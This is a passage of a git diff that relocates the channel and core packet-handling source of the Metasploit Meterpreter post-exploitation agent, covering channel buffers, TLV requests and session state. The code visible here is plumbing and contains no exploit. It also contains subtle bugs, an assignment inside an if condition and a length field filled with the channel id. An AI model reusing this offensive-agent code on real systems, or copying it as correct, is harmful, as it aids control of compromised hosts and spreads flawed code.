chunkLength, PULONG bytesWritten) -{ - // Is there enough storage space? - if (buffer->currentSize + chunkLength > buffer->totalSize) - { - PUCHAR newBuffer = NULL; - ULONG newSize = 0; - - // Calculate the new buffer size - newSize = buffer->currentSize + chunkLength; - newSize += CHANNEL_CHUNK_SIZE + (newSize & (CHANNEL_CHUNK_SIZE - 1)); - - // Allocate the storage for the new data - if (buffer->totalSize) - { - newBuffer = (PUCHAR)realloc(buffer->buffer, newSize); - } - else - { - newBuffer = (PUCHAR)malloc(newSize); - } - - // Allocation failure? - if (!newBuffer) - { - SAFE_FREE(buffer->buffer); - - memset(buffer, 0, sizeof(ChannelBuffer)); - - return; - } - - // Populate the buffer with the updated information - buffer->buffer = newBuffer; - buffer->totalSize = newSize; - } - - // Copy the chunk data into the buffer - memcpy(buffer->buffer + buffer->currentSize, chunk, chunkLength); - - // Update the current size - buffer->currentSize += chunkLength; - - if (bytesWritten) - { - *bytesWritten = chunkLength; - } -} - -/* - * Reads a given number of bytes from the front of the buffer, - * thus removing the data from the buffer. - */ -VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, - ULONG chunkLength, PULONG bytesRead) -{ - ULONG actualSize = chunkLength; - - // Ensure that data is not read past the end of the buffer - if (actualSize > buffer->currentSize) - { - actualSize = buffer->currentSize; - } - - // Copy the front portion of the buffer into the chunk - memcpy(chunk, buffer->buffer, actualSize); - - // Move the buffer forward if there is any left - if (actualSize != buffer->currentSize) - { - memcpy(buffer->buffer, buffer->buffer + actualSize, - buffer->currentSize - actualSize); - } - - // Decrement the current used size of the buffer - buffer->currentSize -= actualSize; - - // Pass back the number of bytes actually read - if (bytesRead) - { - *bytesRead = actualSize; - } -} +#include "metsrv.h" + +// List insertion and removal +VOID channel_add_list_entry(Channel *channel); +VOID channel_remove_list_entry(Channel *channel); + +// Generic buffer manipulation routines +VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, DirectIoHandler dio); +VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); +VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); + +// Channel routine duplication +ChannelCompletionRoutine *channel_duplicate_completion_routine(ChannelCompletionRoutine *in); + +// Linked list of allocated channels +Channel *channelList = NULL; +DWORD channelIdPool = 0; + +/* + * Create a new channel, optionally with a supplied identifier. + * + * If the identifier is zero, a new unique identifier is allocated. + * + * TODO: identifier conflicts due to being able to supply an id + */ +Channel *channel_create(DWORD identifier, DWORD flags) +{ + Channel *channel = NULL; + + do + { + // Allocate storage for the channel + if (!(channel = (Channel *)malloc(sizeof(Channel)))) + break; + + // Zero it + memset(channel, 0, sizeof(Channel)); + + // Set the channel's unique identifier + channel->identifier = (!identifier) ? ++channelIdPool : identifier; + channel->interactive = FALSE; + channel->flags = flags; + channel->cls = CHANNEL_CLASS_BUFFERED; + channel->lock = lock_create(); + + memset(&channel->ops, 0, sizeof(channel->ops)); + + // Initialize the channel's buffered default IO handler + // to the internal buffering methods + channel_set_buffered_io_handler(channel, &channel->ops.buffered, + channel_default_io_handler); + + // Insert the channel into the list of channels + channel_add_list_entry(channel); + + } while (0); + + return channel; +} + +/* + * Creates a stream-based channel with initialized operations. An example of + * streaming channel is TCP. + */ +Channel *channel_create_stream(DWORD identifier, + DWORD flags, StreamChannelOps *ops) +{ + Channel *channel = channel_create(identifier, flags); + + if (channel) + { + channel->cls = CHANNEL_CLASS_STREAM; + + if (ops) + memcpy(&channel->ops.stream, ops, sizeof(StreamChannelOps)); + else + memset(&channel->ops, 0, sizeof(channel->ops)); + } + + return channel; +} + +/* + * Creates a datagram-based channel with initialized operations. An example of + * a datagram channel is UDP. + */ +Channel *channel_create_datagram(DWORD identifier, + DWORD flags, DatagramChannelOps *ops) +{ + Channel *channel = channel_create(identifier, flags); + + if (channel) + { + channel->cls = CHANNEL_CLASS_DATAGRAM; + + if (ops) + memcpy(&channel->ops.datagram, ops, sizeof(DatagramChannelOps)); + else + memset(&channel->ops, 0, sizeof(channel->ops)); + } + + return channel; +} + +/* + * Creates a pool-based channel with initialized operations. An example of a + * pool channel is one that operates on a file. + */ +Channel *channel_create_pool(DWORD identifier, + DWORD flags, PoolChannelOps *ops) +{ + Channel *channel = channel_create(identifier, flags); + + if (channel) + { + channel->cls = CHANNEL_CLASS_POOL; + + if (ops) + memcpy(&channel->ops.pool, ops, sizeof(PoolChannelOps)); + else + memset(&channel->ops, 0, sizeof(channel->ops)); + } + + return channel; +} + +/* + * Destroy a previously allocated channel + */ +VOID channel_destroy(Channel *channel, Packet *request) +{ + dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel ); + // Call the close handler as we're being destroyed. + if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) && + (channel->ops.buffered.dio)) + { + channel->ops.buffered.dio(channel, &channel->ops.buffered, + channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_CLOSE, + NULL, 0, NULL); + + if (channel->ops.buffered.buffer) + free(channel->ops.buffered.buffer); + } + else + { + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + + if (ops->close) + ops->close(channel, request, ops->context); + } + + // Remove the channel from the list of channels + channel_remove_list_entry(channel); + + lock_destroy( channel->lock ); + + // Destroy the channel context + dprintf( "[CHANNEL] Free up the channel context 0x%p", channel ); + free(channel); +} + +/* + * Get the channel's identifier + */ +DWORD channel_get_id(Channel *channel) +{ + return channel->identifier; +} + +/* + * Set the type of channel, such as process, fs, etc. + */ +VOID channel_set_type(Channel *channel, PCHAR type) +{ + if (channel->type) + free(channel->type); + + channel->type = NULL; + + if (type) + channel->type = _strdup(type); +} + +/* + * Get the channel's type. + */ +PCHAR channel_get_type(Channel *channel) +{ + return channel->type; +} + +/* + * Returns the channel's class + */ +DWORD channel_get_class(Channel *channel) +{ + return channel->cls; +} + +/* + * Sets the channel's operational flags + */ +VOID channel_set_flags(Channel *channel, ULONG flags) +{ + channel->flags = flags; +} + +/* + * Checks to see if the supplied flag is set on the channel + */ +BOOLEAN channel_is_flag(Channel *channel, ULONG flag) +{ + return ((channel->flags & flag) == flag) ? TRUE : FALSE; +} + +/* + * Returns the channel's operational flags + */ +ULONG channel_get_flags(Channel *channel) +{ + return channel->flags; +} + +/* + * Set the channel's interactive flag + */ +VOID channel_set_interactive(Channel *channel, BOOL interactive) +{ + channel->interactive = interactive; +} + +/* + * Return the channel's interactive flag + */ +BOOL channel_is_interactive(Channel *channel) +{ + return channel->interactive; +} + +/* + * Set the buffered buffer direct IO handler + */ +VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, + DirectIoHandler dio) +{ + channel_set_buffer_io_handler(&channel->ops.buffered, dioContext, dio); +} + +PVOID channel_get_buffered_io_context(Channel *channel) +{ + return channel->ops.buffered.dioContext; +} + +/* + * Write the supplied buffer to the remote endpoint of the channel. + * + * This will cause the passed buffer to be written in channel->ops.buffered on the + * remote endpoint. + */ +DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, + ULONG chunkLength, PULONG bytesWritten) +{ + Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, + "core_channel_write"); + DWORD res = ERROR_SUCCESS; + Tlv entries[2]; + DWORD idNbo; + + do + { + // Did the allocation fail? + if (!request) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + idNbo = htonl(channel_get_id(channel)); + + entries[0].header.type = TLV_TYPE_CHANNEL_ID; + entries[0].header.length = sizeof(DWORD); + entries[0].buffer = (PUCHAR)&idNbo; + + // if the channel data is ment to be compressed, compress it! + if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) + entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED; + else + entries[1].header.type = TLV_TYPE_CHANNEL_DATA; + + entries[1].header.length = chunkLength; + entries[1].buffer = chunk; + + // Add the TLV data + if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS) + break; + + // Transmit the packet + res = packet_transmit(remote, request, NULL); + + } while (0); + + return res; +} + +/* + * Write data into the buffered buffer using the established DIO operation for + * writing. + */ +DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, + PULONG bytesWritten) +{ + return channel->ops.buffered.dio(channel, &channel->ops.buffered, + channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_WRITE, chunk, + chunkLength, bytesWritten); +} + +/* + * Read data from the buffered buffer using the established DIO operation for + * reading. + */ +DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, + PULONG bytesRead) +{ + return channel->ops.buffered.dio(channel, &channel->ops.buffered, + channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_READ, chunk, chunkLength, + bytesRead); +} + +/* + * Sets a given buffer's direct IO handler + */ +VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, + DirectIoHandler dio) +{ + // If no direct I/O handler is supplied, use the default + if (!dio) + { + dio = channel_default_io_handler; + context = NULL; + } + + buffer->dioContext = context; + buffer->dio = dio; +} + +/* + * Changes the native I/O context for the supplied channel + */ +VOID channel_set_native_io_context(Channel *channel, LPVOID context) +{ + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + + ops->context = context; +} + +/* + * Returns the native context that is associated with the channel + */ +LPVOID channel_get_native_io_context(Channel *channel) +{ + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + + return ops->context; +} + +/********************** + * Remote channel API * + **********************/ + +/* + * Duplicates a completion routine so it can be saved for calling back + */ +ChannelCompletionRoutine *channel_duplicate_completion_routine( + ChannelCompletionRoutine *in) +{ + ChannelCompletionRoutine *ret = NULL; + + if ((ret = (ChannelCompletionRoutine *)malloc( + sizeof(ChannelCompletionRoutine)))) + memcpy(ret, in, sizeof(ChannelCompletionRoutine)); + + return ret; +} + +/* + * Channel completion routine dispatcher + */ +DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet, + LPVOID context, LPCSTR method, DWORD result) +{ + ChannelCompletionRoutine *comp = (ChannelCompletionRoutine *)context; + DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + Channel *channel = channel_find_by_id(channelId); + DWORD res = ERROR_NOT_FOUND; + + + dprintf( "[CHANNEL] _channel_packet_completion_routine. channel=0x%08X method=%s", channel, method ); + + // If the channel was not found and it isn't an open request, return failure + if (!channel && strcmp(method, "core_channel_open")) + return ERROR_NOT_FOUND; + + if ((!strcmp(method, "core_channel_open")) && + (comp->routine.open)) + res = comp->routine.open(remote, channel, comp->context, result); + else if ((!strcmp(method, "core_channel_read")) && + (comp->routine.read)) + { + ULONG length = 0, realLength = 0; + PUCHAR buffer = NULL; + + // Get the number of bytes written + length = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + + // Allocate storage for it + if ((length) && (buffer = (PUCHAR)malloc(length))) + { + memset(buffer, 0, length); + + channel_read_from_buffered(channel, buffer, length, &realLength); + } + + res = comp->routine.read(remote, channel, comp->context, result, + buffer, realLength); + + if (buffer) + free(buffer); + } + else if ((!strcmp(method, "core_channel_write")) && + (comp->routine.write)) + { + Tlv lengthTlv; + ULONG length = 0; + + // Get the number of bytes written to the channel + if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) + == ERROR_SUCCESS) && + (lengthTlv.header.length >= sizeof(DWORD))) + length = ntohl(*(LPDWORD)lengthTlv.buffer); + + res = comp->routine.write(remote, channel, comp->context, result, + length); + } + else if ((!strcmp(method, "core_channel_close")) && + (comp->routine.close)) { + dprintf( "[CHANNEL] freeing up the completion context" ); + res = comp->routine.close(remote, channel, comp->context, result); + } + else if ((!strcmp(method, "core_channel_interact")) && + (comp->routine.interact)) + res = comp->routine.interact(remote, channel, comp->context, result); + + // Deallocate the completion context + dprintf( "[CHANNEL] freeing up the completion context" ); + free(comp); + + return res; +} + +/* + * Tries to open a channel with the remote endpoint, optionally calling the + * supplied completion routine upon response. + */ +DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + DWORD res = ERROR_SUCCESS; + PCHAR method = "core_channel_open"; + Packet *request; + Tlv methodTlv; + + do + { + // Allocate the request + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Read data from the remote end of the channel. + */ +DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, ULONG length, + ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + Packet *request; + DWORD res = ERROR_SUCCESS; + PCHAR method = "core_channel_read"; + Tlv methodTlv; + + do + { + // Allocate an empty request + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier and the length to read + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + packet_add_tlv_uint(request, TLV_TYPE_LENGTH, length); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Write to the remote end of the channel + */ +DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, PUCHAR buffer, ULONG length, + ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + DWORD res = ERROR_SUCCESS; + LPCSTR method = "core_channel_write"; + Packet *request; + Tlv methodTlv; + + do + { + // Allocate a request packet + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier and the length to write + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + + // if the channel data is ment to be compressed, compress it! + if (channel_is_flag(channel, CHANNEL_FLAG_COMPRESS)) + { + packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA | TLV_META_TYPE_COMPRESSED, buffer, length); + } + else + { + packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); + } + + packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Close the channel provided. + */ +DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + LPCSTR method = "core_channel_close"; + DWORD res = ERROR_SUCCESS; + Packet *request; + Tlv methodTlv; + + do + { + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + dprintf("[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine); + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Interact with a given channel such that data on the remote end is + * forwarded in real time rather than being polled. + */ +DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, BOOL enable, + ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + LPCSTR method = "core_channel_interact"; + DWORD res = ERROR_SUCCESS; + Packet *request; + Tlv methodTlv; + + do + { + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + + // Add the enable/disable boolean + packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/********************* + * Channel searching * + *********************/ + +/* + * Find a channel context by its identifier + */ +Channel *channel_find_by_id(DWORD id) +{ + Channel *current; + + for (current = channelList; current; current = current->next) + { + if (current->identifier == id) + { + break; + } + } + + return current; +} + +/* + * Insert a channel into the channel list + */ +VOID channel_add_list_entry(Channel *channel) +{ + if (channelList) + { + channelList->prev = channel; + } + + channel->next = channelList; + channel->prev = NULL; + channelList = channel; +} + +/* + * Remove a channel from the channel list + */ +VOID channel_remove_list_entry(Channel *channel) +{ + if (channel->prev) + { + channel->prev->next = channel->next; + } + else + { + channelList = channel->next; + } + + if (channel->next) + { + channel->next->prev = channel->prev; + } +} + +/* +* Determines whether the specified channel exists +*/ +BOOL channel_exists(Channel *channel) +{ + Channel *current; + + for (current = channelList; current; current = current->next) + { + if (current == channel) + { + return TRUE; + } + } + + return FALSE; +} + +/************** + * Default IO * + **************/ + +/* + * Channel default IO operations + * + * The default implementation queues and dequeues write/read operations, + * respectively. + */ +DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer, + LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, + PULONG bytesXfered) +{ + switch (mode) + { + case CHANNEL_DIO_MODE_READ: + channel_read_buffer(channel, buffer, chunk, length, bytesXfered); + break; + case CHANNEL_DIO_MODE_WRITE: + channel_write_buffer(channel, buffer, chunk, length, bytesXfered); + break; + default: + break; + } + + return ERROR_SUCCESS; +} + +/* + * Writes arbitrary data into a buffer, optionally allocating more memory + * as necessary. + */ +VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, + PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten) +{ + // Is there enough storage space? + if (buffer->currentSize + chunkLength > buffer->totalSize) + { + PUCHAR newBuffer = NULL; + ULONG newSize = 0; + + // Calculate the new buffer size + newSize = buffer->currentSize + chunkLength; + newSize += CHANNEL_CHUNK_SIZE + (newSize & (CHANNEL_CHUNK_SIZE - 1)); + + // Allocate the storage for the new data + if (buffer->totalSize) + { + newBuffer = (PUCHAR)realloc(buffer->buffer, newSize); + } + else + { + newBuffer = (PUCHAR)malloc(newSize); + } + + // Allocation failure? + if (!newBuffer) + { + SAFE_FREE(buffer->buffer); + + memset(buffer, 0, sizeof(ChannelBuffer)); + + return; + } + + // Populate the buffer with the updated information + buffer->buffer = newBuffer; + buffer->totalSize = newSize; + } + + // Copy the chunk data into the buffer + memcpy(buffer->buffer + buffer->currentSize, chunk, chunkLength); + + // Update the current size + buffer->currentSize += chunkLength; + + if (bytesWritten) + { + *bytesWritten = chunkLength; + } +} + +/* + * Reads a given number of bytes from the front of the buffer, + * thus removing the data from the buffer. + */ +VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, + ULONG chunkLength, PULONG bytesRead) +{ + ULONG actualSize = chunkLength; + + // Ensure that data is not read past the end of the buffer + if (actualSize > buffer->currentSize) + { + actualSize = buffer->currentSize; + } + + // Copy the front portion of the buffer into the chunk + memcpy(chunk, buffer->buffer, actualSize); + + // Move the buffer forward if there is any left + if (actualSize != buffer->currentSize) + { + memcpy(buffer->buffer, buffer->buffer + actualSize, + buffer->currentSize - actualSize); + } + + // Decrement the current used size of the buffer + buffer->currentSize -= actualSize; + + // Pass back the number of bytes actually read + if (bytesRead) + { + *bytesRead = actualSize; + } +} diff --git a/c/meterpreter/source/metsrv/channel.h b/c/meterpreter/source/metsrv/channel.h new file mode 100644 index 00000000..afe49b23 --- /dev/null +++ b/c/meterpreter/source/metsrv/channel.h @@ -0,0 +1,50 @@ +#ifndef _METERPRETER_METSRV_CHANNEL_H +#define _METERPRETER_METSRV_CHANNEL_H + +#include "common.h" + +/* + * Channel manipulation + */ +Channel *channel_create(DWORD identifier, DWORD flags); +Channel *channel_create_stream(DWORD identifier, DWORD flags, StreamChannelOps *ops); +Channel *channel_create_datagram(DWORD identifier, DWORD flags, DatagramChannelOps *ops); +Channel *channel_create_pool(DWORD identifier, DWORD flags, PoolChannelOps *ops); +VOID channel_destroy(Channel *channel, Packet *request); +DWORD channel_get_id(Channel *channel); +VOID channel_set_type(Channel *channel, PCHAR type); +PCHAR channel_get_type(Channel *channel); +DWORD channel_get_class(Channel *channel); +VOID channel_set_flags(Channel *channel, ULONG flags); +BOOLEAN channel_is_flag(Channel *channel, ULONG flag); +ULONG channel_get_flags(Channel *channel); +VOID channel_set_interactive(Channel *channel, BOOL interactive); +BOOL channel_is_interactive(Channel *channel); +DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); +DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); +DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); +VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, DirectIoHandler dio); +PVOID channel_get_buffered_io_context(Channel *channel); +VOID channel_set_native_io_context(Channel *channel, LPVOID context); +LPVOID channel_get_native_io_context(Channel *channel); +DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered); + +/* + * Remote channel API, used for communication with remotes + * + * Each of these routines accepts a completion routine that allows for custom + * handling of the response. + */ +DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine); +DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, ULONG length, ChannelCompletionRoutine *completionRoutine); +DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine); +DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine); +DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine *completionRoutine); + +/* + * Channel searching + */ +Channel *channel_find_by_id(DWORD id); +BOOL channel_exists(Channel *channel); + +#endif diff --git a/c/meterpreter/source/common/core.c b/c/meterpreter/source/metsrv/core.c old mode 100755 new mode 100644 similarity index 95% rename from c/meterpreter/source/common/core.c rename to c/meterpreter/source/metsrv/core.c index 5968d097..be5acf1b --- a/c/meterpreter/source/common/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -1,1339 +1,1339 @@ -/*! - * @file core.c - * @brief Definitions of core components of the Meterpreter suite. - * @details Much of what exists in the core files is used in almost every area - * of the Meterpreter code base, and hence it's very important. Don't - * change this stuff unless you know what you're doing! - */ -#include "common.h" -#include "packet_encryption.h" -#include - -DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, - TlvType type, Tlv *tlv); - -/*! @brief List element that contains packet completion routine details. */ -typedef struct _PacketCompletionRoutineEntry -{ - LPCSTR requestId; ///< Id of the request. - PacketRequestCompletion handler; ///< Handler to call on completion. - struct _PacketCompletionRoutineEntry *next; ///< Pointer to the next compleiont routine entry. -} PacketCompletionRoutineEntry; - -/*! - * @brief Reference to the list of packet completion routines. - * @details This pointer is a singularly-linked list which contains references - * to PacketCompletionRouteEntry items, each of which is processed - * when packet_call_completion_handlers is invoked. - */ -PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL; - -/*! - * @todo I have no idea why this is here, need someone else to explain. - */ -HANDLE core_update_thread_token(Remote *remote, HANDLE token) -{ - HANDLE temp = NULL; - - lock_acquire(remote->lock); - do - { - temp = remote->thread_token; - - // A NULL token resets the state back to the server token - if (!token) - { - token = remote->server_token; - } - - // Assign the thread token - remote->thread_token = token; - - // Close the old token if its not one of the two active tokens - if (temp && temp != remote->server_token && temp != remote->thread_token) - { - CloseHandle(temp); - } - } while (0); - - lock_release(remote->lock); - return(token); -} - -/*! - * @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations. - * @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API - * to break out of sessions. - * @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup. - * @param remote Pointer to the remote connection. - * @param dwSessionID ID of the session which contains the window station in \c cpStationName. - * @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName. - * @param cpDesktopName Name of the desktop to switch to. - */ -VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName) -{ - DWORD temp_session = -1; - char * temp_station = NULL; - char * temp_desktop = NULL; - - lock_acquire(remote->lock); - - do - { - temp_session = remote->curr_sess_id; - - // A session id of -1 resets the state back to the servers real session id - if (dwSessionID = -1) - { - dwSessionID = remote->orig_sess_id; - } - - // Assign the new session id - remote->curr_sess_id = dwSessionID; - - temp_station = remote->curr_station_name; - - // A NULL station resets the station back to the origional process window station - if (!cpStationName) - { - cpStationName = remote->orig_station_name; - } - - // Assign the current window station name to use - remote->curr_station_name = _strdup(cpStationName); - - // free the memory for the old station name if its not one of the two active names - if (temp_station && temp_station != remote->orig_station_name && temp_station != remote->curr_station_name) - { - free(temp_station); - } - - temp_desktop = remote->curr_desktop_name; - - // A NULL station resets the desktop back to the origional process desktop - if (!cpDesktopName) - { - cpDesktopName = remote->orig_desktop_name; - } - - // Assign the current window desktop name to use - remote->curr_desktop_name = _strdup(cpDesktopName); - - // free the memory for the old desktop name if its not one of the two active names - if (temp_desktop && temp_desktop != remote->orig_desktop_name && temp_desktop != remote->curr_desktop_name) - { - free(temp_desktop); - } - - } while (0); - - lock_release(remote->lock); -} - -/*! - * @brief Create a packet of a given type (request/response) and method. - * @param type The TLV type that this packet represents. - * @param method TLV method type (can be \c NULL). - * @return Pointer to the newly created \c Packet. - */ -Packet *packet_create(PacketTlvType type, LPCSTR method) -{ - Packet *packet = NULL; - BOOL success = FALSE; - - do - { - if (!(packet = (Packet *)malloc(sizeof(Packet)))) - { - break; - } - - memset(packet, 0, sizeof(Packet)); - - // Initialize the header length and message type - packet->header.length = htonl(sizeof(TlvHeader)); - packet->header.type = htonl((DWORD)type); - - // Initialize the payload to be blank - packet->payload = NULL; - packet->payloadLength = 0; - - // Add the method TLV if provided - if (method && packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS) - { - break; - } - - success = TRUE; - - } while (0); - - // Clean up the packet on failure - if (!success && packet) - { - packet_destroy(packet); - - packet = NULL; - } - - return packet; -} - -/*! - * @brief Create a packet that is used to contain a subgroup. - * @returns An instance of a packet to use as a group container. - * @remarks Group packets can be used to arbitrarily nest groupings prior to - * sending the packet to the client. - */ -Packet* packet_create_group() -{ - Packet* packet = NULL; - do - { - if (!(packet = 